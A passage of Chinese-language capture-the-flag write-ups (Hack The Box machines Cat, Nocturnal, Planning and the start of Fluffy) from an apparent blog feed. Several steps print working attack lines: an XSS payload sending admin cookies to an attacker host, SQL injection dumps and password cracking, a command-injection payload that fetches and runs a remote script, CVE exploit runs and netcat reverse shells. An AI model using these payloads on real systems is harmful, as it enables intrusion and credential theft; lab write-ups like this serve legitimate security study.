Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Best Cat Competition
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.10.11.53:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file &apos;description&apos; to name the...
|_    Last commit message: Cat v1 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   346.63 ms 10.10.16.1
2   556.49 ms cat.htb (10.10.11.53)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.97 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://cat.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现.git泄漏&lt;/p&gt;
&lt;p&gt;使用 git-dumper 提取源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git-dumper http://cat.htb/.git cat-source
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析源码
accept_cat.php: 仅管理员可访问的页面，catName 存在 SQL 注入
join.php: 注册/登录逻辑中存在存储型 XSS，位于用户名字段（未进行过滤）。
join.php 将用户名直接存储在用户表中。如果被显示（例如在 contest.php 中），则构成存储型 XSS 漏洞。制作了一个 payload 来窃取管理员的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.location=&apos;http://10.10.16.78:8888/?c=&apos;+document.cookie;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传一只小猫，方便管理员能看见 触发xss&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.53 - - [17/Jun/2025 06:50:06] &quot;GET /?c=PHPSESSID=kjac871albmmbti5paq9gnp7je HTTP/1.1&quot; 200 -
10.10.11.53 - - [17/Jun/2025 06:50:07] code 404, message File not found
10.10.11.53 - - [17/Jun/2025 06:50:07] &quot;GET /favicon.ico HTTP/1.1&quot; 404 -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;accept_cat.php
catName没做处理，直接拼接到了sql语句中，sqlmap直接跑，发现存在注入，最后汇总payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;http://cat.htb/accept_cat.php&quot; --data &quot;catId=1&amp;amp;catName=mal&quot; --cookie=&quot;PHPSESSID=kjac871albmmbti5paq9gnp7je&quot;  --batch --dbms SQLite -p catName --level 5 --risk 3 -D SQLite_masterdb -T users --dump --threads=10 
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;user_id&lt;/th&gt;
&lt;th&gt;email&lt;/th&gt;
&lt;th&gt;password&lt;/th&gt;
&lt;th&gt;username&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:axel2017@gmail.com&quot;&gt;axel2017@gmail.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;d1bbba3670feb9435c9841e46e60ee2f&lt;/td&gt;
&lt;td&gt;axel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:rosamendoza485@gmail.com&quot;&gt;rosamendoza485@gmail.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ac369922d560f17d6eeb8b2c7dec498c&lt;/td&gt;
&lt;td&gt;rosa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:robertcervantes2000@gmail.com&quot;&gt;robertcervantes2000@gmail.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;42846631708f69c00ec0c0a8aa4a92ad&lt;/td&gt;
&lt;td&gt;robert&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;尝试使用hashcat爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)     
1g 0:00:00:00 DONE (2025-06-17 07:04) 1.639g/s 23513Kp/s 23513Kc/s 52989KC/s (454579)..*7¡Vamos!
Use the &quot;--show --format=Raw-MD5&quot; options to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终只有一组凭据rosa:soyunaprincesarosa
ssh登录上去，rosa家目录下没有user.txt
寻找其他用户的凭据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -R axel ./* 2&amp;gt;/dev/null
rosa@cat:/var$ grep -R axel ./* 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;暴力但好用，找到了axel的密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aNdZwgC4tI9gnVXv_e3Q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在枚举的过程中发现一封邮件
查看端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ss -tuln
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将端口转发出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 9011:127.0.0.1:3000 axel@10.10.11.53
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gitea 版本 1.22.0
寻找可利用的漏洞
https://www.exploit-db.com/exploits/52077&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## Steps to Reproduce
1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:

    &amp;lt;a href=javascript:alert()&amp;gt;XSS test&amp;lt;/a&amp;gt;

4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:fetch(&apos;http://10.10.16.78:8888/?d=&apos;+encodeURIComponent(btoa(document.cookie)));&quot;&amp;gt;XSS test&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;send the mail using this command to admin
使用此命令向管理员发送邮件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -e &quot;http://localhost:3000/axel/l4tmur&quot; | sendmail jobert@cat.ht
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Nocturnal</title><link>https://sinqwq.top/posts/htb-nocturnal/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-nocturnal/</guid><description>Htb-Nocturnal</description><pubDate>Sat, 05 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.64:22 open
10.10.11.64:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.64        code:302 len:154    title:302 Found 跳转url: http://nocturnal.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.64 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 05:11 UTC
Nmap scan report for 10.10.11.64
Host is up (0.42s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
1234/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   249.60 ms 10.10.16.1
2   500.30 ms 10.10.11.64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;子域名收集&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://nocturnal.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Target: http://nocturnal.htb/

[05:23:39] Starting:                                                                  
[05:24:13] 302 -    0B  - /admin.php  -&amp;gt;  login.php                         
[05:24:39] 301 -  178B  - /backups  -&amp;gt;  http://nocturnal.htb/backups/       
[05:24:39] 403 -  564B  - /backups/                                         
[05:24:53] 302 -    0B  - /dashboard.php  -&amp;gt;  login.php                     
[05:25:19] 200 -  644B  - /login.php                                        
[05:25:20] 302 -    0B  - /logout.php  -&amp;gt;  login.php                        
[05:25:43] 200 -  649B  - /register.php                                     
[05:26:03] 403 -  564B  - /uploads                                          
[05:26:03] 403 -  564B  - /uploads/                                         
[05:26:03] 403 -  564B  - /uploads/affwp-debug.log
[05:26:03] 403 -  564B  - /uploads/dump.sql
[05:26:03] 403 -  564B  - /uploads_admin
[05:26:06] 302 -    3KB - /view.php  -&amp;gt;  login.php                          
                                                                             
Task Completed   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是并没有什么收获&lt;/p&gt;
&lt;p&gt;80端口，存在登录框，尝试一下常见的sql注入，无果，只能先注册一个账号试试
尝试注册一个账号登录进去
分析查看文件的包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /view.php?username=sin&amp;amp;file=1.pdf HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有username的字段，尝试直接爆棚用户名
可以通过爆破枚举用户名，寻找存在可下载资源的用户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u &apos;http://nocturnal.htb/view.php?username=FUZZ&amp;amp;file=xss.pdf&apos; -w userfuzz.txt -H &apos;Cookie: PHPSESSID=s73llaa7m6n74ue8fh9cj0esb1&apos; -fs 2985
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描得到结果，除去自己注册的test，得到admin、amanda、tobias用户，分别使用这三个用户名替换掉test用户名
只有amanda用户存在可下载文件，下载privacy.odt，解压后得到一堆文件，输入&lt;code&gt;grep -R &quot;pass&quot;&lt;/code&gt;过滤查询密码&lt;/p&gt;
&lt;p&gt;可以看到一排网页代码，只能进行源码审计。查看admin.php，发现password未经过转义就会直接拼接到command命令中，可以试着进行命令注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 下载远程脚本到本地
password=%0abash%09-c%09&quot;wget%09http://10.10.14.45:8089/1.sh&quot;&amp;amp;backup=
# 执行脚本
password=%0abash%09-c%09&quot;bash%091.sh&quot;&amp;amp;backup=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录上 ，用户为 &lt;code&gt;www-data&lt;/code&gt; ，用户目录下的 nocturnal_database 文件夹中一个 &lt;code&gt;nocturnal_database.db&lt;/code&gt; SQLite 数据库。下载下来，发现数据库中 &lt;code&gt;users&lt;/code&gt; 表中有这么一条数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tobias	55c82b1ccd55ab219b3b109b07d5061d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tobias&lt;/code&gt; 这个用户在 &lt;code&gt;/etc/passwd&lt;/code&gt; 中也有，可以考虑破解密码，撞库 SSH 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 0 tobias.hash rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想办法提权&lt;/p&gt;
&lt;p&gt;输入&lt;code&gt;sudo -l&lt;/code&gt;，但是发现此用户没有权限执行命令
输入&lt;code&gt;ps -aux&lt;/code&gt;和&lt;code&gt;netstat -tuln&lt;/code&gt;收集信息，发现靶机8080端口存在
在kali输入&lt;code&gt;ssh -L 9000:127.0.0.1:8080 tobias@10.10.11.64&lt;/code&gt;讲8080端口页面转发到本地，查看页面
发现是一个ispconfig页面
并且查看源代码，可以得知版本号应该为v3.2
搜索一下ispconfig 3.2 exploit，发现存在CVE-2023-46818可以利用，但是该漏洞利用需要能登录的用户名和密码，只能尝试密码复用
将exploit下载到本地并执行，发现成功执行并获取到root权限，到此便已经通关该靶场&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 9011:127.0.0.1:8080 tobias@10.10.11.64
python3 CVE-2023-46818.py http://127.0.0.1:9011 admin slowmotionapocalypse
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Planning</title><link>https://sinqwq.top/posts/htb-planning/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-planning/</guid><description>Htb-Planning</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫描一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.68
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.68:80 open
10.10.11.68:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.68        code:301 len:178    title:301 Moved Permanently
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开放80、22端口
尝试访问80端口（http://planning.htb）
访问成功，尝试扫描路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirseaerch -u http://planning.htb
feroxbuster -u http://planning.htb -x php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 &lt;code&gt;LICENSE&lt;/code&gt; 文件内容，并通过搜索引擎查询，判断该网站是基于这个公开的 Web 模板开发的，接近是一个静态网站，很难有从这里利用的路径。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;200      GET       23l      172w     1090c http://planning.htb/lib/owlcarousel/LICENSE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;子域名爆破与 Grafana 发现
尝试进行子域名爆破。但没有任何发现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u &apos;http://planning.htb&apos; -H &apos;host:FUZZ.planning.htb&apos; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 178
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无发现
靶机给了我们初始的凭证，已经明示了有 Web 站点了。暂时没有其他思路，换用更大的字典接着进行子域名爆破，成功发现新的子域名。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u &apos;http://planning.htb&apos; -H &apos;host:FUZZ.planning.htb&apos; -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -t 100 -fs 178
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;使用大字典进行子域名爆破，成功发现 &lt;code&gt;grafana.planning.htb&lt;/code&gt;。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;将 &lt;code&gt;grafana.planning.htb&lt;/code&gt; 添加到本地 DNS 解析后访问，发现是一个 Grafana 服务界面。Grafana 是一个开源的数据可视化和监控平台。
使用靶机提供的初始凭证 &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;0D5oT70Fq13EvB5r&lt;/code&gt; 尝试登录 Grafana 系统。尝试登录
登录后，没有发现有版本信息，搜索 Grafana 相关的已知漏洞，发现一个近期披露的漏洞 CVE-2024-9264。无论如何先尝试利用。&lt;/p&gt;
&lt;p&gt;利用找到的 PoC 脚本，设置反向 Shell 连接至攻击机 &lt;code&gt;10.10.16.78&lt;/code&gt; 的 &lt;code&gt;53&lt;/code&gt; 端口。&lt;/p&gt;
&lt;p&gt;https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit/blob/main/poc.py#L128&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.78 --reverse-port 55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;kali监听55端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -nvlp 55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查当前 Shell 环境，发现存在 &lt;code&gt;/.dockerenv&lt;/code&gt; 文件，表明当前 Shell 位于 Docker 容器内部。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rwxr-xr-x   1 root root    0 Apr  4 10:23 .dockerenv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在容器内部署并运行 &lt;code&gt;linpeas.sh&lt;/code&gt; 脚本进行信息收集，寻找敏感信息或逃逸路径。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;linpeas.sh&lt;/code&gt; 的输出结果中，在环境变量部分发现了泄露的凭证：&lt;code&gt;enzo&lt;/code&gt; / &lt;code&gt;RioTecRANDEntANT!&lt;/code&gt;。
利用在 Docker 容器内发现的凭证 &lt;code&gt;enzo&lt;/code&gt; / &lt;code&gt;RioTecRANDEntANT!&lt;/code&gt; 尝试通过 SSH 登录宿主机 (&lt;code&gt;10.10.11.68&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;登录后，进行基本的手动信息枚举。查看网络连接，发现宿主机本地开放了 &lt;code&gt;3000&lt;/code&gt; 和 &lt;code&gt;8000&lt;/code&gt; 端口。其中 &lt;code&gt;3000&lt;/code&gt; 端口为之前访问的 Grafana 服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netstat -aunpt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地端口转发与服务识别为了访问宿主机本地的 &lt;code&gt;8000&lt;/code&gt; 端口服务，使用 SSH 本地端口转发功能。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -N -L 8000:127.0.0.1:8000 enzo@10.10.11.68
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;访问本地转发的 &lt;code&gt;8000&lt;/code&gt; 端口，服务需要认证。尝试之前获取的凭证均失败&lt;/em&gt;
为了确定 &lt;code&gt;8000&lt;/code&gt; 端口运行的服务及潜在的提权向量，再次在宿主机上上传并运行 &lt;code&gt;linpeas.sh&lt;/code&gt; 进行更全面的信息收集。
仔细审查 &lt;code&gt;linpeas.sh&lt;/code&gt; 在宿主机上的输出，发现一个名为 &lt;code&gt;crontab-ui&lt;/code&gt; 的应用进程，这个程序很陌生，并不是 Linux 上内置或者常见的，可能与 &lt;code&gt;8000&lt;/code&gt; 端口的服务相关。
同时，在 &lt;code&gt;/opt&lt;/code&gt; 目录下发现一个名为 &lt;code&gt;crontabs&lt;/code&gt; 的目录，其中包含 &lt;code&gt;crontab.db&lt;/code&gt; 文件，推测这可能是 &lt;code&gt;crontab-ui&lt;/code&gt; 的数据库或配置文件。
查看 &lt;code&gt;crontab.db&lt;/code&gt; 文件内容。
&lt;em&gt;&lt;code&gt;crontab.db&lt;/code&gt; 文件内容中包含参数 &lt;code&gt;-P P4ssw0rdS0pRi0T3c&lt;/code&gt;，这极有可能是 &lt;code&gt;crontab-ui&lt;/code&gt; 的登录密码。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;尝试使用用户名 &lt;code&gt;root&lt;/code&gt; 和从 &lt;code&gt;crontab.db&lt;/code&gt; 中获取的密码 &lt;code&gt;P4ssw0rdS0pRi0T3c&lt;/code&gt; 登录本地转发的 &lt;code&gt;8000&lt;/code&gt; 端口上的 Web 服务。
登录成功
&lt;code&gt;Crontab-UI&lt;/code&gt; 允许以 root 权限管理和执行计划任务。我们可以利用此功能创建一个反弹 Shell 的任务。
*在 &lt;code&gt;Crontab-UI&lt;/code&gt; 中创建一个新的计划任务，设置为每分钟执行，命令为 *&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;busybox nc 10.10.16.78 55 -e /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;，保存并手动触发执行。&lt;/p&gt;
</content:encoded></item><item><title>Htb-Fluffy</title><link>https://sinqwq.top/posts/htb-fluffy/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-fluffy/</guid><description>Htb-Fluffy</description><pubDate>Thu, 03 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;首先扫描一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.69:139 open
10.10.11.69:88 open
10.10.11.69:445 open
[*] alive ports len is: 3
start vulscan
已完成 3/3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.69 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 07:19 UTC
Nmap scan report for 10.10.11.69
Host is up (0.51s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-12 14:20:23Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-12T14:22:17+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-06-12T14:22:16+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-12T14:22:17+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-06-12T14:22:16+00:00; +7h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
49754/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-12T14:21:37
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   585.99 ms 10.10.16.1
2   586.16 ms 10.10.11.69

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.46 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;139端口是一种TCP端口，该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用
445端口也是一种TCP端口，该端口在Windows 2000 Server或Windows Server 2003系统中发挥的作用与139端口是完全相同的。具体地说，它也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议（Common Internet File System）工作的，而139端口是基于SMB协议（服务器协议族）对外提供共享服务。同样地，者与445端口建立请求连接，也能获得指定局域网内的各种共享信息。&lt;/p&gt;
&lt;p&gt;88/TCP, Kerberos - 认证代理&lt;/p&gt;
&lt;p&gt;根据提示：As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990! --users
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark                                                                                  
SMB         10.10.11.69     445    DC01             -----           -----------     ------                                                                                  
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin                                                                            
SMB         10.10.11.69     445    DC01             C$                              Default share                                                                           
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC                                                                              
SMB         10.10.11.69     445    DC01             IT              READ,WRITE      
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share                                                                      
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share                                                                      
                                                                                      
┌──(kali㉿kali)-[~/Desktop/fscan]
└─$ nxc smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990! --users 
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                                 
SMB         10.10.11.69     445    DC01             Administrator                 2025-04-17 15:45:01 0       Built-in account for administering the computer/domain        
